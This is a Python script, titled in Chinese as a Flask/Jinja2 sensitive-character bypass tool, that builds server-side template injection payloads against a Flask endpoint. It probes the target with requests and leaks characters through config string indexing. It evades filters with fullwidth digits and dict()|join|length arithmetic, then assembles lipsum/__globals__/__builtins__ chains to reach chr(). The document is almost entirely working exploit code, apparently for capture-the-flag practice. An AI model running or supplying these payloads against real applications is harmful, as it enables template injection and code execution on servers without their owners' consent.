Flask-jinja2敏感字符绕过脚本

import requests

url = "http://localhost:5000/demo?name={}{{% print (config|string|list).pop({}).lower() %}}"
payload = "please input you payload"
result = ""


class round3_multi:
    res = "0"
    ret = "1"
    count = 0

    def __init__(self, count):
        self.start(count)
        count = eval(self.ret) - count
        self.count = count
        self.bbb(count)
        self.ccc()

    def start(self, te):
        col = 0
        while 5**col < te:
            col += 1
            self.ret += "*5"

    def aaa(self, te):
        t = te
        if t >= 5:
            t = te // 5
            self.res = self.res + "*5"
            self.aaa(t)

    def bbb(self, ccc):
        t = self.count - eval(self.res)
        if t >= 5:
            self.res = self.res + "+1"
            self.aaa(t)
            self.bbb(t)

    def ccc(self):
        t = self.count - eval(self.res)
        for i in range(0, t):
            self.res = self.res + "+1"
    def result(self):
        self.res = self.ret + self.res[1:].replace("+", "-")
        self.res = self.res.replace("1", "a")
        self.res = self.res.replace("5", "e")
        return self.res


def findiff(tem, obj):
    stop = 0
    if tem == obj:
        return "like"
    if tem.__len__() != obj.__len__():
        return "No!"
    for i in range(0, obj.__len__()):
        if tem[i] != obj[i]:
            return obj[i]


def B2Q(longuchar):
    ret = ''
    for uchar in longuchar:
        inside_code = ord(uchar)
        if inside_code < 0x0020 or inside_code > 0x7e:  # 不是半角字符就返回原来的字符
            return uchar
        if inside_code == 0x0020:  # 除了空格其他的全角半角的公式为: 半角 = 全角 - 0xfee0
            inside_code = 0x3000
        else:
            inside_code += 0xfee0
        ret = ret + str(chr(inside_code))
    return ret


def SetC(longuchar):
    if int(longuchar) == 0:
        ccc = ''
    else:
        ccc = 'c' * int(longuchar) + '=z'
    ret = "dict({})|join|length".format(ccc)
    return ret


def round1(choose):
    global url
    global payload
    global result
    temp = requests.get(url.format("", 1))
    attack = ""
    for i in range(0, 100):
        if choose == 0:
            attack = i
        elif choose == 1:
            attack = B2Q(str(i))
        elif choose == 2:
            attack = SetC(str(i))
        temp = requests.get(url.format("", attack))
        print(temp.url)
        print("--------------------")
        print(temp.text)
        print("--------------------")
        print("是否可以当作模板:1.是;2.不是 (模板中的会发生变换的字符不应包含payload中的字符)")
        if int(input()) == 1:
            break

    for j in payload:
        for i in range(0, 100):
            if choose == 0:
                attack = i
            elif choose == 1:
                attack = str(B2Q(str(i)))
            elif choose == 2:
                attack = SetC(str(i))
            r = requests.get(url.format("", attack))
            if findiff(temp.text, r.text) == j.lower():
                print("(config|string|list).pop({}).lower()  ==  {}".format(attack, j))
                result += "(config|string|list).pop({}).lower()~".format(attack)
                break
    result = result[:len(result) - 1]


def round2():
    global payload
    global result
    result = B2Q(payload)


def round3():
    global url
    global payload
    global result
    url_first = "{% set e=dict(ccccc=z)|join|length %}{% set a=dict(c=z)|join|length %}"
    temp = requests.get(url.format("", 1))
    attack = ""
    for i in range(0, 100):
        t = round3_multi(i)
        attack = t.result()
        temp = requests.get(url.format(url_first, attack))
        print(temp.url)
        print("--------------------")
        print(temp.text)
        print("--------------------")
        print("是否可以当作模板:1.是;2.不是 (模板中的会发生变换的字符不应包含payload中的字符)")
        if int(input()) == 1:
            break

    for j in payload:
        for i in range(0, 1000):
            t = round3_multi(i)
            attack = t.result()
            r = requests.get(url.format(url_first, attack))
            if findiff(temp.text, r.text) == j.lower():
                print("(config|string|list).pop({}).lower()  ==  {}".format(attack, j))
                result += "(config|string|list).pop({}).lower()~".format(attack)
                break
    result = url_first+"\n"+result[:len(result) - 1]


def round4(choose):
    global payload
    global result
    if choose == 0:
        for i in payload:
            result += "chr("+str(ord(i))+")%2b"
    else:
        for i in payload:
            result += "chr("+B2Q(str(ord(i)))+")%2b"
    result = result[:-3]

def round1_init():
    print("数字是否被过滤?1.是;2.不是")
    if int(input()) == 1:
        print(
            "1.数字转全角\n2.数字由”{% set c=dict(c=z)|join|length %}“代替,不进行乘法运算\n3.数字由”{% set c=dict(c=z)|join|length %}“代替,乘法运算")
        choose1 = int(input())
        if choose1 == 1:
            round1(1)
        elif choose1 == 2:
            round1(2)
        elif choose1 == 3:
            round3()
    else:
        round1(0)

print("1.关键字符被过滤\n2.半角字符转全角字符\n3.字符转chr()\n4.构造chr()函数")
choose = int(input())
if choose == 1:
    round1_init()
elif choose == 2:
    round2()
elif choose == 3:
    print("是否使用全角数字?1.是;2.不是")
    if int(input()) == 1:
        round4(1)
    else:
        round4(0)
elif choose == 4:
    payload = "_"
    print("注意模板中的会发生变换的字符不应包含\"_\"")
    round1_init()
    temp1 = "{% set uli="+result+" %}"
    result1 = temp1+"{% set chr=(lipsum|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}"
    result2 = temp1+"{% set chr=(q|attr((uli,uli,dict(init=a)|join,uli,uli)|join())|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}"
    result = "二选一\n--------------------\n"+result1+"\n--------------------\n"+result2+"\n--------------------\n"



print(result)